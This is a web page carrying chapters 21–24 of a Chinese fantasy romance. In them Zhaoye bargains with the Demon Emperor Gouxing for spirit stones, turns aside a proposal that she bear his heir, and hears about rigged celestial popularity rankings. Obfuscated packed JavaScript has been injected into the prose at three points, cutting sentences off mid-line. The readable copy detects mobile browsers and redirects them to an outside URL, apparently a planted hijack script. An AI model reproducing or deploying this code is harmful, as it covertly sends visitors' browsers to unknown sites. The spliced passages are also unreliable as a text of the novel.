我的意识先一步苏醒,甚至好奇起环琛那位素未谋面的兄长会是什么模样。 甫一睁眼,便对上一双鎏金般的眼眸。男人将我温热的泉水中捞起,这场景似曾相识。他轻轻拨开黏在我颊边的湿发,低声道,“终于醒了,五十四岁的照夜。“ 珊瑚得知我归来后欣喜万分,围着我叽叽喳喳说个不停,讲述我离开后映山都的种种变化。 我虽无心细听,但见瓶中尾巴重新散发出柔和光晕,精神焕发,总算松了口气。 眼下实在没有闲情重游故地。仙帝登基大典在即,穆青与振岳仙人正在筹划大事,我必须尽快赶回与穆青会合——绝不能让他独自涉险。 皇宫中明显比往日热闹许多。醒来后我匆匆求见钩星,沿途遇见不少形貌各异的魔族臣子,皆是我未曾谋面的新面孔。 正殿前有一段长长的雨廊,因地势高峻,可将整个映山都尽收眼底。 等候召见时,我凝望着这座曾经衰败冷清的都城,不禁感慨万千。不到一年光景,映山都竟已重现往昔繁华。 更令人惊叹的是,那棵本就巨大得惊人的抱婴椿,在甘露滋养下已长成参天巨树,伞盖如云翳蔽空,粗壮的枝条上坠着乳白色的胎果,远远望去好似迎风而颂的铃铛。 “是你?你竟然又回来了。“ 闻声转头,只见面容凶悍的迩松大将正审视着我。 他冷哼一声走近,“怪不得陛下今日迟迟未临朝,原来是因为你。“ “我受舒岸将军所托,特来觐见魔皇陛下,有要事相求。“ 一听到舒岸的名字,迩松眼神骤然清明,急切追问,“可是为玉山战事?将军他可安好?你又是如何与将军相识的?“ 我便将离开魔界后的经历娓娓道来。 迩松越听神色越是凝重,眼中满是忧色。沉默片刻,他突然单膝跪地,抱拳致歉,“昔日多有得罪,还请见谅。既然舒将军需要援手,我愿与您一同恳请陛下施援,助将军渡过此劫。“ 我连忙把迩松扶起来,连连摆手,“过去的事就不提了,舒岸将军常夸你勇猛善战,我相信他的眼光。如今玉山局势看似黑羽军占优,实则暗流汹涌......总之需早作准备。“ “照夜姑娘,陛下宣你觐见。” 我向珊瑚轻轻颔首,迈步跨入那扇漆黑如永夜的巨门。 眼前景象让我呼吸一滞。 钩星身着玄色冕服端坐于高位之上,这是我第一次见他如此庄重威严的模样。两侧文武臣工垂首肃立,整个大殿弥漫着令人窒息的威压,让我的心跳不由自主地加快。 “觐见魔皇陛下,为何不跪?“一旁侍从高声喝道。 我稳住心神,躬身行礼,“拜见魔皇陛下。“ “只身返回映山都所为何事,照夜。“钩星的声音平静无波,却带着不容置疑的威仪。 “为请魔皇陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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尾巴不知何时悄然显现,他攀在我耳边,压低声音道,“明知是陷阱还往里跳,你说你是不是个笨蛋?“ 我连连后退,只觉得一股汹涌的力量在胸膛里冲撞,几乎要破体而出。 望着渐渐合围而来的人群,我的呼吸变得急促而灼热。 这时,环琛的哥哥泉礼缓步逼近,唇角勾起一抹晦暗难明的笑意,“又或者,容器大人,您可以选择另一条路——嫁给魔皇陛下。以凡人之躯孕育皇子,通过血脉将仙丹之力传承给下一代。这个提议,您觉得如何?“ 这番话太过荒诞,反而冲淡了我心头的恐惧,但逃离的本能丝毫未减。尾巴显然也被这离奇的提议惊到,他揪住我鬓边的发丝,低声惊叹,“你看我说什么来着?男人一旦权位稳固,就开始盘算这些。原来他们打的是这个主意,钩星身边有高人指点啊!“ 突然,身后传来“咚“的一声巨响!我吓得浑身一颤,体内的仙力再也压制不住,竟化作一条粗壮的光尾,蓄势待发。 循声望去,只见本该在殿外候旨的迩松正跪在地上,一下又一下地重重叩首,每一次叩击都让地面发出沉闷的回响。 “陛下!求您帮帮舒将军!他为人刚正,麾下魔族将士从未受过半分苛待!若不是到了山穷水尽的地步,他断不会让一个女子只身前来求援!陛下,您也是在人界长大,被凡人养育成人,就当是帮帮那些无辜百姓吧——末将以性命恳求您!“ 眼看失控的光尾就要扫向迩松,一股黑雾突然从我脚下升腾,温柔地包裹住暴走的仙力,如安抚受惊的幼兽般轻轻抚触。 群臣惊退数步,武将们纷纷摆出防御姿态,警惕地注视着我。 “别怕,照夜。“ 始终静观其变的钩星瞬息间已来到我面前。他不动声色地握住我汗湿的手,将其藏于宽大的袖袍之下。 那双金眸扫过在场众人,声音平静却带着不容置疑的威压, “若无照夜相助,魔界何来甘霖滋养?诸位这般急于过河拆桥,未免太过心切。孤既为魔皇,纵使没有仙丹加持,也自当庇护魔界安泰昌隆。若在此关乎苍生存亡之际斤斤计较,与那些明哲保身的仙人又有何异?还是说......“他话音微顿,目光陡然转利,“诸位表面上尊孤为主,心底却仍对孤的能力心存疑虑?“ 22. 第22章 钩星套路照夜;青石沟 这些臣子闻言慌忙跪伏在地,齐声高呼,“臣等不敢,一切但凭陛下圣裁!“ 芍药汀畔,凉亭幽静。 珊瑚正兴致勃勃地为我介绍着满桌珍馐,可惜我实在提不起胃口,只慢条斯理地舀着一碗醉花羹。清甜的酒酿中飘浮着细碎花瓣,入口满是馥郁芬芳。 “本以为你对仙力的掌控已有些许长进,“钩星轻晃酒杯,兀自喝着酒却不曾为我斟上一盏,“没想到还是如受惊的兔子般,一受惊吓就容易失控。” 我没好气地瞪他一眼,“今日特意召集群臣给我这个下马威,莫非是要向我炫耀你已是魔界至尊,今非昔比?“ “是啊,向你炫耀我的身份与地位,就像求偶的孔雀展翅开屏,不过是为了求得眼前人的垂青,仅此而已。” “谷阿翁呢,我在刃柱城没找到他,他在魔界吧?” “干嘛,不知如何作答干脆转移话题?”钩星笑了笑,说道,“师父受了伤,正在修养。” “什么?谁伤的他?“我猛地起身。 “坐下,并无大碍。“钩星晃动着杯中浊白的酒液,“在刃柱城被一个叫黑头帮的地头蛇伤了腿,想必是因货物买卖起了纷争。“ 我急切地拉住他的衣袖,“对了!怪物卵壳的事我差点忘了!阿烈他们现在如何?“ “不必忧心,已收押在审。“钩星眉头微蹙,“当年剿灭瘴母神时巢穴尽毁,只余些许硬化的卵壳。想来是有人故地重游,误将其当作玉胚宝物捡了去。“ “钩星,事情绝非这般简单!“ 我连忙将关于无相孽的情报尽数道来。 虽对玉山局势略有耳闻,但如此详尽的内情显然出乎他的意料。听罢我的叙述,钩星陷入长久的沉思。 我百无聊赖地倚着栏杆,看池中锦鲤嬉游。尾巴悄悄攀上我的衣襟,低声耳语,“孔雀开屏咯!我看你这趟,大有可能有去无回呢。” “少说风凉话,你这个没用的尾巴,竟然控制不了仙力,你有什么用!” “这不能怪我。”尾巴抓住我的辫子荡来荡去,说道,“是你把我抓了出来,我想控制你体内的仙力也得要点时间,起码要迅速与你建立连接才行。” “啊?还要怎么建立连接。” “这样,以后你感觉仙力要失控时,就大声喊一句尾巴,我接到指令就能迅速接管仙力的控制权。” 我这才恍然大悟。 尾巴的反应总比我慢上半拍——昔日他藏于我体内,随时可调动仙丹之力;而今被我抓了出来,又难以及时感知我的本能反应,自然无法迅速约束仙力。 看来若要达到心意相通的境界,我们还须好生磨合。想到这里,我不由心烦意乱,难不成我也要踏上修行之路了? “唉,不知小青现今如何了,我总有不好的预感。“ “嘘——“尾巴忙制止道,“既要求人办事,该吊着些他的胃口。男人嘛,灌点迷魂汤便晕头转向。所以别提青莲,免得弄巧成拙。“ “真是烦恼,生活突然变得乱七八糟。” “这才到哪儿,苦日子,还在后头呢!” “讨厌,看我把你摇匀咯!” 我捧起尾巴一阵摇晃,那团光便故作瘫软状,如打散的蛋液般流泻开来。 “照夜,你自言自语什么?” 钩星不知何时已凑近身旁,惊得我慌忙将尾巴塞回瓶中,“没什么!你可理出什么头绪了?“ 却见钩星神色凝重,将无相孽与瘴母神的诸般线索细细串联,眸中渐现凛然之色。 瘴母神的本体是虫,而无相孽的本质则是菌丝。这两种异怪皆以仙力为食,自身却无法直接吸纳天地灵气,唯有通过寄生或吞噬生灵才能汲取力量。 这也使得经由人体凝练过的仙力对它们而言如同佳肴,反而难以造成伤害。唯有未经炼化的纯粹仙力——譬如熠石中封存的能量,或是我的本源之力——才能真正重创它们。 瘴母神曾蛊惑信徒,将我们诱入巢穴作为食粮;无相孽则试图操控舒岸,引我步入陷阱。这些迹象表明,怪物们正在逐渐拥有智慧。 它们不再一味地杀戮吞噬,因为生命消逝的刹那,体内仙力也会迅速逸散——对它们而言,这种掠夺方式“营养不足“,效率低下。 换言之,无相孽与瘴母神的终极目的是繁衍。若不能彻底消灭其本源,它们将会无止境地增殖。 可眼下线索实在太少,而我们却没有更多时间深究。 更令人忧心的是,若如穆青所推测,无相孽已生出灵智,正悄然放弃仙力枯竭的玉山,转而潜伏人界以待时机,那么剿灭它们的难度将成倍增加。 最让我困惑的是,这些怪物究竟从何而来?它们的出现太过突然。 不,或许并非如此——若百年前的仙魔之战中已有瘴母神的踪迹,那就意味着这种威胁的存在,远比我们想象的更为久远。 “……照夜,你还记得岁兽妖么?“ “记得。若不是它一脚踏碎瘴母神的巢穴,后果不堪设想。“ “当时岁兽妖冲破结界直扑刃柱城,我就觉得蹊跷。它平日大多只在长烬海附近徘徊。“ “我记得你曾说,它是嗅到了瘴母神的气息,才本能地前往剿灭。“ “那头岁兽妖已活了两百多岁,它亲身经历过百年前那场战争。“钩星眼中浮起淡淡的哀伤,他倚着栏杆,望向池中争食的游鱼,“或许,它是嗅到了熟悉的气息,一心只想完成未竟的使命罢了。“ 我的心也随之沉重。 岁兽妖未尝作恶,却成了仙人试炼的猎物。想到这里,我不自觉地抚上胸口——这种“躺赢“的滋味,原来并不如想象中那般美妙。 “罢了,不说这些了。“钩星重重一叹,目光落回我脸上,“谈谈正事吧,照夜。舒岸需要多少熠石?“ “至少三万枚。“ “会不会太贪心了?“ “玉山守军三万人,人均一颗。剩下的……只能听天由命了。“ 钩星瞥了一眼我瓶中的尾巴,轻笑,“看来人君还是有所保留。无妨,他迟早会明白,在渊寂统领下的仙界,终将与人界分道扬镳,甚至兵戈相向。“ “你同意提供熠石?“ “照夜,我可以给你六万颗。“钩星忽然凑近,鼻尖几乎与我相触。日光下,那双金眸显得比平日深沉,他轻轻点着我的胸口,一字一句道,“人均两颗,胜算便多两成,对吧?作为交换——再次将你的力量借给我,如何?“ “好,我答应你。“ “很好,“他嘴角扬起温柔的弧度,“你还是像从前一样,又呆又傻。“ “啧,非要这么评价我么?“ 钩星的手轻抚过我的脸颊,转而望向西方巍峨的远山,笑意更深,“又如何?我喜欢这样的照夜。“ “可我只喜欢小青,我们马上就要成亲了。等他办完手头的事……我们就成亲。” “我知道。我早该想到的。青莲那样的人,怎会把一个不重要的人时时藏在怀里,只为感受她的存在。”钩星苦笑一声,自嘲地摇摇头,“或许这就是命吧。强求又有何意义?与其试图挽留、囚禁一缕风,不如让她自由翱翔于天地,去往任何她想去的地方。” 我已不是情窦初开的小女孩,却只能对他的表白装作懵懂无知。 此刻,更强烈的不安攫住了我的心——我害怕穆青出事。 他们计划在渊寂的登基大典上当众与他对质,揭露煌木仙君真正的死因。万一失败了呢?我不敢想象那后果。 但为了那六万颗熠石,我不能立即离开。我必须兑现对钩星的承诺。 是夜,我在房中烦躁地踱步。珊瑚见我心神不宁,便提议去城中散心。 虽然兴致缺缺,但躁动的心确实需要安抚,出去走走或许是个不错的选择。 夜幕低垂,映山都化身为一片璀璨灯海,与遥远星河交相辉映。直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正因如此,仙界的生育率自古便极其低下。 这也解释了为何仙人即便孕育了生命,也大多会请玉贝仙人代为抚育。怀胎不仅会使母体衰弱,更会不断汲取其仙力,对修行弊大于利。不如将胚胎取出体外培育,方能两不耽误。 如此看来,素雪仙人愿以自身孕育胎儿,恐怕是对赤羽用情至深。 此外,我也似乎明白了玉贝仙人能力平平却能晋升上仙的原因——她专司帮助仙人培育子嗣,这为她赢得了广泛的人脉与口碑。 怪不得穆青曾说玉贝仙人很特别,她成仙三百余年,却始终保持着对孩子的喜爱与怀念,仍深深眷恋着身为母亲的感觉。 “照夜!照夜!” 正当我沉思之际,一声清脆的呼唤从身后传来。还未等我回头,一个身影便欢快地扑入我怀中。 “环琛?” 她不再做任何伪装,那过分美丽的容颜令人过目不忘。她欣喜地绕着我转了两圈,笑道,“哥哥说你醒了!身体可大好了?” “无碍了,只是有些晕船。” “你在逛街吗?要不要来我家玩?” 婉拒的话还未说出口,热情洋溢的环琛便拉着我穿过熙攘人群,走向长街尽头。 我原以为她兄长在朝为官,家境必定不凡,却未曾想到她的家族竟如此庞大。 映山都郊外三十里处,有一道青石沟。这里山峦叠翠,溪水潺潺,沟中屋舍错落,俨然自成一座小镇。 更令人称奇的是,竟有妖兽“昆仑”悠然行走于街市之间,而居民们却习以为常。见到环琛归来,一头高大的昆仑缓步走近,温顺地垂下头颅,用那如枝杈般的犄角轻轻触碰她的手心,仿佛早已在此等候多时。 “它是我们家的老辈子了,看着我爹爹和哥哥们长大。”环琛亲昵地抚摸着昆仑的角,眼中闪着温暖的光,“我喜欢叫它阿爹,嘿嘿。” 23. 第23章 环琛拉着我跃上昆仑宽厚的背脊,笑嘻嘻地抓紧它枝杈般的犄角。 这庞然大物便迈开沉稳的步伐,载着我们向镇子深处走去。我试探着抚摸它背部短而柔软的毛发,触手如绸缎般顺滑,结实的肌肉线条令人难以想象这竟是一头食素的妖兽。 “昆仑兽耐力强,奔行迅捷,足以媲美最优良的战马,在妖兽中也算性情温顺的了。” “是呀,我们家族与昆仑相伴已有上千年时光,它们极通灵性。”环琛轻抚兽角,语气温柔,“临终之前,它们会悄然离开族群,独自回到出生之地,安静度过最后的时光。” 昆仑阿爹将我们送至一座古朴宅院前,便转身缓步隐入夜色。 环琛兴奋地拉着我跑进大门,逢人便介绍我的到来。最后她冲进一间灯火通明的书房,对着正在阅读的男子欢快道,“哥哥,快看我把谁带来了!” 泉礼闻声抬眼望来。 因他白日那番惊世骇俗的言论,我仍心有余悸,下意识后退两步紧贴门扉,随时准备抽身而退。 然而此刻的他却敛去了朝堂上的锋芒,起身拱手施礼,语气温和,“原来是贵客莅临,快请坐。” 趁我打量书房布置时,环琛又兴致勃勃地说起与我的相遇经历。这故事显然已讲过多次,但泉礼仍含笑倾听,目光温柔。 “所以说,照夜人特别好!” “多谢您一路照拂环琛。她初次离家远行,不谙世事,幸得您庇护才免遭风波。”泉礼言辞恳切,与白日的咄咄逼人判若两人。 “照夜,我们一起吃宵夜吧!”环琛雀跃提议。 于是乎,都快到睡觉的时候了,这家竟然摆了一大桌。环琛大快朵颐,泉礼则似已习以为常,只慢条斯理品着清茶,任由妹妹尽情享用。 “让您见笑了。环琛自幼贪嘴,饿肚子便要哭闹,我们便惯着她吃饱尽兴。” “看得出你们都很宠爱她。” 泉礼莞尔,“我们八兄弟唯有这一个妹妹,自然视若珍宝。也正因如此将她宠坏了——为逃避与陛下共育子嗣,她竟偷偷离家出走。多亏您将她平安送回。” 我尴尬地牵了下嘴角,小声道,“这种事不好勉强吧……她不愿意那就算了呗,说不定哪天她遇到自己的心上人,有其他想法呢。” “能为魔皇陛下孕育子嗣本是莫大荣幸。况且照夜姑娘若了解魔族繁衍之道,便知此事并不妨碍她日后婚嫁。”泉礼语气从容,却字字暗藏机锋。 尾巴悄悄藏进我发间,幸灾乐祸地低语,“瞧见没?他这是在敲打你呢。如此忠心的臣子,若我是钩星,都要感动落泪了。” 我此刻没了好脸色,压低嗓音道,“这么想要魔皇的力量,你自己去向他求一个孩子,横竖只需要抱婴椿帮忙不是么!孩子应该在父母的爱意中诞生,而不是成为继承力量的容器而已!” 泉礼依旧不疾不徐,含笑反问,“那便嫁给陛下,成为他的妻室,如何?” 我一时语塞,竟分不清他这话是对环琛的提议,还是另有所指。 正大快朵颐的环琛抬起头,眨着天真的大眼睛问道,“咦,照夜要嫁给钩星哥哥吗?” 我急得霍然起身,面红耳赤地高声反驳,“开什么玩笑!我与他才认识几天没有一丝感情!我只喜欢小青,我只嫁给他!” 塞了满嘴食物的环琛突然愣住,目光怯生生地望向我身后。泉礼已跪地行礼,恭敬地道了一声,“陛下。” “照夜,别乱跑,你该回去了。” 我的心骤然收紧,甚至不敢回头去看不知何时出现的钩星。 那股令人窒息的压迫感让我几乎喘不过气,本能驱使着我转身就逃——耳边只剩下呼啸的风声和自己急促的喘息,我一头扎进深沉的夜色,向着没有光亮的地方拼命奔跑。 不知跑了多久,直到双腿如灌铅般沉重,我才瘫倒在一棵古树下剧烈地喘息,喉咙像是被无形的手紧紧扼住。 “吓死我了,你突然跑什么?”尾巴轻盈地跳到我面前,用光晕轻轻触碰我汗湿的额头,“还以为出了什么大事!” “害怕的时候……逃跑是我的老毛病了。”我无力地靠在树干上。 “原来如此,怪不得青莲总叫你‘别逃’。”尾巴仿佛在轻抚我的脸颊,声音变得柔和,“让我猜猜,你们第一次时,你又紧张又疼,慌乱之下从他身边逃走了。那之后,他硬是忍了几十年不敢碰你,生怕再吓到你,对不对?” “讨厌,不需要在这种事情上展现你的推理能力!”我躺倒在冰凉的土地上。 四周漆黑如墨,连星光都透不进这片密林,只有树叶窸窣作响。 我把脸埋进尾巴的光晕里,鼻尖一阵发酸,“我想小青了,尾巴。” “……咸咸的,你哭了。”尾巴轻轻蹭去我眼角的泪,用温暖的光将我包裹起来,像是在给我一个无声的拥抱,“想他的话,我们就回去。” “可我走了,六万颗熠石怎么办?我不能半途而废。” “你看,设下这个陷阱的人很了解你。”尾巴的声音忽然变得坚定,“他或许正躲在暗处,欣赏着你此刻的挣扎。你要认输吗,照夜?还是打起精神,粉碎他的阴谋?选择吧——是继续抱头鼠窜,还是奋起反击。无论你选哪条路,我都会在你身边。不要怕。” 我蜷缩在温柔的光晕中,任由仙力凝结的尾巴将我包裹。困意渐渐袭来,我喃喃道,“你好温柔啊,尾巴……” 尾巴轻笑一声,光晕轻轻捂住我的耳朵,将一切危险与不安隔绝在外,“温柔的,一直是你啊,照夜。” 晨光熹微时,一阵轻叩声唤醒了我,揉着惺忪睡眼坐起,金色的蛹也随之消散。 只见钩星正蹙眉环顾四周,语气里带着几分无奈,“你怎么跑到这么高的地方,还睡在山崖边上。” 我茫然四顾,这才惊觉自己竟睡在一处陡峭的高崖边缘——昨夜慌不择路,竟沿着青石沟后的山径一路跑到了这里。钩星说在山下远远望见发光物,百姓不敢靠近,他破开屏障进来,发现我睡在仙力结成的光蛹里。 “那是尾巴,不是蛹。”我打着哈欠纠正,“偶尔拿来当枕头被子,在野外很方便。它还会做饭呢。” “……走吧,回去。” 我有些犹豫地望着钩星伸来的手,还未想好如何回应,他已轻轻握住了我的指尖。 乘着飞兽掠过青石沟上空时,我问起为何从前在宫中未曾见过泉礼。钩星的语气平淡,我却仿佛能窥见他心底那一丝未能完全掩去的涩意。 是啊,那时他还未真正获得魔皇的资格,并非所有世家大族都愿倾力支持——即便他已是阿戈里亚斯最后一个孩子了。 “别太往心里去。即便是太初僊那般的存在,不也照样有人不愿追随么?“ 钩星在我耳畔低笑一声,“你是指当年与他分道扬镳的兄弟,自立门户成为魔族先祖的旧事?“ “你竟知道这段历史?“ 他揽住我的腰际,目光投向远方,“不止你读过万卷书。虽然我与你、与青莲的童年天差地别,但修行之路大抵相似——开启灵窍,学习感知、凝炼、驾驭仙力……日复一日,望着东升西落的太阳,时间只会向前奔流。“他的声音渐沉,“就像我们,永远无法回到某个节点,作出不同的选择。“ 我回头望向他,“不同的选择……是指什么?“ 钩星低头轻笑,那笑意里浸着若有若无的苦涩,“譬如说,不曾与你相遇。“ 若说此刻心中没有波澜,不过是自欺欺人。可我唯有继续装聋作哑,假装心硬如铁,甚至强迫自己不再回想与他初遇时的点点滴滴。 返回皇宫时,远远便见一位拄拐的白须老者正在等候。 我欣喜地奔上前去,对方也激动不已。 “谷阿翁!终于见到你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549489|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陛下说你来了想见我,这不我拄着拐杖翻山越岭来找你。” 虽腿伤未愈,谷阿翁依旧精神矍铄。细问才知,他因不满黑头帮垄断刃柱城码头货运前去理论,反被那群地头蛇教训了一顿,只得留在映山都养伤。 “黑头帮什么来头?官府不管吗?“ 谷阿翁斜我一眼,“都这年岁了还这般天真?官商勾结,利来利往。何况黑头帮背后是太师施铎,确实惹不起。刃柱城本就鱼龙混杂,那帮人搞了个黑市,专销赃物。“ “听阿烈提过,他们也太嚣张了。“ “不止如此。“谷阿翁压低声音将我拉近,“他们还走私熠石——这正是陛下下令禁运的缘由。“ “什么?究竟怎么回事?“ 从谷阿翁口中,我终于得知熠石断供的真相。 舒仲为避仙界耳目,不敢明着采购熠石供给玉山守军,只得通过商人渠道“私运“。如此即便仙界问责,也可推诿是下属监管不力。 钩星虽不齿这般暗度陈仓的行径,为保玉山战力仍默许熠石流出。蹊跷的是,这批熠石竟未运抵玉山,反而如石沉大海般失去踪迹。钩星震怒之下,才颁下禁售令直至我前来求援。 “天!有人截流熠石想囤积居奇?!“ “正是。不愧是小照夜,一点就通。“谷阿翁眼珠一转,“你猜是谁主使?“ “……黑头帮?太师施铎?是他在幕后操纵?“ “嗯……虽无实据,但也不难推测。“谷阿翁长叹一声,捶着腿感慨,“若论利欲熏心,凡人当真一骑绝尘。值此存亡之际,他竟只想着中饱私囊,可怜了前线浴血的将士们啊!“ 我总觉得事情有些蹊跷,仿佛有条隐秘的线索在暗处游走,却始终抓不住实质。 依稀记得舒岸曾提过,最初向人君提议私下采购熠石的正是太师施铎,第一批熠石也确实顺利送达了玉山守军手中。为何太师后来要截留后续的熠石?莫非是玉山那边的局势发生了某种变化?他又如何能断定那些怪物退去后不会卷土重来?思及此处,一个可怕的念头骤然浮上心头—— 玉山之祸,或许始于人为。 若真如此,便解开了我与穆青长久以来的疑惑,为何玉山的怪物出现得如此突兀,蔓延之势又如野火般难以遏制。 无相孽究竟从何而来?倘若它的泛滥是有人在幕后操纵,那会是谁?目的何在?而幕后黑手又是从何处获得这些怪物的胚胎? “照夜,当务之急是先解舒将军之困。陛下既已应允,会派迩松大将亲自押送熠石前往,如此便可绕过那些贼人。前线将士的生死,总不能置之不理。“ 我从沉思中回过神,对谷阿翁点头道,“多谢。如今玉山由北祐将军镇守,可直接与他联络。“ “这些不必你操心。“谷阿翁眯起眼睛,“倒是你,又被陛下''敲诈''——咳,索要了什么条件?“ “……不清楚,他只说需要再借用仙丹之力。“得知熠石有了着落,我稍松了口气,瘫进摇椅里,“上次是开海,这次总不会要我劈山吧?“ 谷阿翁猛地一怔,突然从椅子上跳了起来。 我疑惑地看向他原本带伤的腿,却见他欣喜若狂地指向西方巍峨的雪山,“照夜!陛下当真要劈开那座山!“ 我眼前一黑,险些晕厥过去。谷阿翁却目光灼灼,无比笃定。 自仙魔之战落幕,西境落羽山便被永恒的严寒封印。百年来风雪不息,积雪终年不化,极寒彻骨,万物近乎绝迹。昔日的草木灵兽皆湮没于茫茫雪原,唯余寒风如亡魂哀嚎,穿行在终年不散的暴雪中。 由于冰雪不再消融,魔界水源日益枯竭,原本西源东贯、奔流不息的墨江早已干涸见底。 若能劈开雪山,使四季重归有序,冰雪消融便可期。雪水自山巅倾泻而下,将重新注入墨江古道——到那时,魔界才算是真正恢复了往日的生机与繁荣。 24. 第 24 章 打榜仙人:渊寂 事实证明谷阿翁猜得一点没错。这几日钩星已下令墨江流域的百姓迁移避险,七日后便要劈开落羽山! 得知这个消息,我忧心忡忡,反复问尾巴是否真能办到。万一失败,钩星把我扣在这里可如何是好?尾巴却满不在乎,甚至觉得我太小看他的能耐。 宫里宫外更是热闹得离谱,百官们早已开始筹划墨江通航后如何引水灌溉、振兴农耕;百姓们更是提前庆祝起来,尽管这事八字还没一撇。 我却提不起什么兴致,多数时候独自闷在屋里发呆。 这日环琛得了钩星准许,带着两位小姐妹来找我玩。一个叫鸣霜,一个叫英招,都是与她从小一起长大的玩伴。三个姑娘活泼娇俏,在凉亭下叽叽喳喳说个不停。 听了半晌她们的闲聊,我很快摸清了些小秘密,鸣霜心仪泉礼,一心想为他生娃,可惜对方醉心农耕技术,只对培育两倍大的山芋感兴趣;英招则透露她的姑姑——钩星麾下女将浔筝——苦恋一位仙人,至今未嫁,家族对此颇有微词。 “为什么会有意见?不成亲就这么罪大恶极吗?“ 这两个姑娘和环琛一样,都是娇养长大的贵族小姐,心思单纯。 听我这么问,鸣霜掩嘴笑道,“那倒不是,魔族寿命长,不像凡人女子二十未嫁就成了老姑娘。主要是因为她爱慕的是个仙人。“ “唉,姑姑向来离经叛道。“英招叹气道,“早年离家修行时遇上那位仙人便一见倾心。若不是爹爹以死相逼,她也不会回映山都。“ 我听了不免感慨,“英招,也并非所有仙人都敌视魔族,反之亦然。据我所知两族通婚者不乏其人,只是多数隐居于人界。“ “就是就是!“环琛托着腮,眼睛发亮,“我听原音大哥说,仙界有位叫铁棘的上仙主张三界和平,为人正直,拥趸不少呢。“接着她冒出一句差点让我喷茶的话,“可惜他上一季在口碑榜只排第五十名,看来还得再多花点钱打榜才行。“ “啊?你们也知道仙人口碑榜?“ 一提到这个,三个姑娘顿时来了精神,争先恐后说起各自的偶像。 万万没想到,仙界的口碑榜居然火到了魔界,还形成了一门生意。我当即表示想去见识见识,鸣霜拍着胸脯说今天她请客。 于是我们四人来到了映山都最大的乐馆“陶乐居“。 虽是白天,这里却人声鼎沸,喝酒的、听曲的、赌钱的、嬉游的、泡温泉的,热闹非凡。 在温泉区,我一眼就看到了熟悉的云雾屏——除了比仙碑司的小一号,简直一模一样,上面显示着上一季的仙人口碑榜。渊寂依然高居榜首,但令我意外的是,赤羽那家伙居然挤进了前十!他不过是个金珠阵列啊! 这氤氲着热气的池中男男女女着实不少。虽都穿着薄纱浴衣,但这毕竟是我头一回泡混浴池,总担心被人看了去,只敢缩在水里露出个脑袋。 其他人却是一派坦然自若,浑不在意什么男女之防,心思全放在热议心仪仙人的排名上。 “赤浪仙人的人气一直居高不下,尤其是娶了素雪仙人之后,又吸引了一大波追随者,他们打榜可疯狂了。”环琛叹了口气,“都怪哥哥扣了我的零花钱,下一季我一定要多给铁棘仙人投几票,多花些钱助他上位。” “啊?你们具体是怎么投票的?” “这还不简单,当然是花钱从其他仙人那里买票呀,尤其是那些散仙的票。”英招凑到我耳边,神秘兮兮地低语,“除此之外,还能通过仙吏暗中操作。不少有投票权的散仙要么对投票不感兴趣,要么云游四方无暇顾及,这时熟悉内情的仙吏就会把他们的票悄悄拿出来卖,代为投票。” 说实在的,今天又是让我大开眼界的一天。我突然觉得自己像个没见过世面的土包子——可恶,一定是在青莲山宅得太久的缘故。 回想那些年我都做了些什么?除了满山闲逛就是睡大觉。 不,倒也不必如此妄自菲薄,我曾在琼池下的密洞里读了无数卷藏书。 每当穆青闭关修炼,我就在一旁看书。他知道我喜欢涉猎各类典籍,只要有机会就会为我搜罗新书。 想到这儿,我不禁轻叹一声,昔日的青莲仙人如今已沦为散仙,而他也曾是这仙人口碑榜上风光无限的明星选手。 这么说来,穆青的票现在是谁在投?可恶,肯定也被那些仙吏偷偷卖掉了。 “究竟是谁在给渊寂投票?为什么他总是稳坐第一?” “渊寂上仙仙力卓绝,独步仙界,深受众仙敬重。而且他性情温和谦逊,在三界中人气极高呢。”英招兴奋地搓了搓手,难掩激动,“再加上他‘琼林映雪’般的风姿,真想去灵璧城一睹真容。” 我暗忖,渊寂在众人眼中或许早已是熟悉的存在,毕竟柑洱先生曾在映山都盘桓过一段时间。 然而,不仅是我,许多人恐怕至今仍摸不透渊寂的深浅。他从不持任何显赫仙器,周身也无凌厉气势,所修秘法更是讳莫如深,如同不见底的幽潭。外人看去,只觉他沉静似水、温润如玉,却不知这平静之下藏着何等深渊。 上一次穆青不过与他短暂交手,就险些吃了暗亏。 渊寂的仙法诡谲莫测,仿佛能无声无息地禁锢他人仙力,如暗流冰封,让人运转不灵、进退维谷。那般手段不显山不露水,却教人心底生寒,事后思量仍觉高深莫测。 他越是平静淡然,就越显得可怕——宛如夜雾笼罩的雪峰,看似寂静,却暗藏杀机。 “你们说,要是魔皇陛下也在榜上,能排第几?”环琛俏皮一笑,“他总是板着脸,喜怒不形于色,说不定偏偏有人就吃这一套呢。” “嘿嘿,单凭陛下那容貌、那双金眸,就足以倾倒众生,绝对有实力和渊寂上仙一较高下。”鸣霜掩嘴轻笑,“当然啦,我心里最中意的还是你哥哥。” “可惜陛下年纪尚轻,才百岁多一点,终究青涩了些,缺了点儿成熟男人的风韵。”英招撇撇嘴,“这方面,还是渊寂仙人更胜一筹。” “照夜,照夜,你觉得呢?”环琛故意撩水泼我,仿佛在试探我对钩星的看法。 泡了半晌,我早已口干舌燥,要了杯凉茶一饮而尽。 